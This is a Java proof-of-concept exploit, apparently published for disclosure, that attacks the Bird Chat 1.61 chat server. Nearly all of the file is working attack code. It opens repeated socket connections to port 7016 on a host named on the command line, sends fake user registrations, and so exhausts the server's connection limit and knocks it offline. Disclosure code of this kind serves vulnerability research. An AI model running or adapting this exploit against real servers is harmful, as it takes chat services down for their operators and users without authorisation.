/*
Bird Chat 1.61 - Denial Of Service - Proof Of Concept
Coded by: Donato Ferrante
*/

import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;
import java.net.SocketTimeoutException;
import java.io.OutputStream;
import java.io.InputStream;

public class BirdChat161_DoS_poc {

private final static int MAX_CONNECTION = 16;
private final static int PORT = 7016;
private final static String VERSION = "0.1.0";

public static void main(String [] args){

System.out.println(
"\n\nBird Chat 1.61 - Denial Of Service - Proof Of Concept\n" +
"Version: " + VERSION + "\n\n" +
"coded by: Donato Ferrante\n" +
"e-mail: fdonato@autistici.org\n" +
"web: www.autistici.org/fdonato\;n\n"
);

String host = "localhost";

try{

if(args.length != 1)
usage();

host = args[0];

}catch(Exception e){usage();}

try{

int i = 1,
var = 0;

while(i++ <= MAX_CONNECTION){

try{

String err = "";
int port = PORT;
InetAddress addr = InetAddress.getByName(host);
Socket socket = new Socket(addr, port);
socket.setSoTimeout(3000);

InputStream stream = socket.getInputStream();

int line = stream.read();
while(line != -1){

if(line == '?'){
break;
}

line = stream.read();

}

OutputStream outStream = socket.getOutputStream();
outStream.write(("*user=fake_user0" + ++var + "\n").getBytes());

int count = 0;
line = stream.read();
while(true){

line = stream.read();

if(line == '\n')
count++;

if(count >= 3)
break;
}

}catch(SocketTimeoutException ste){break;}
catch(ConnectException ce){System.err.println(ce); continue;}
}

}catch(Exception e){System.err.println(e);}

System.out.println("\nBird Chat - Denial Of Service - Proof_Of_Concept terminated.\n\n");
}

private static void usage(){

System.out.println("Usage: java BirdChat161_DoS_poc <host>\n\n");
System.exit(-1);
}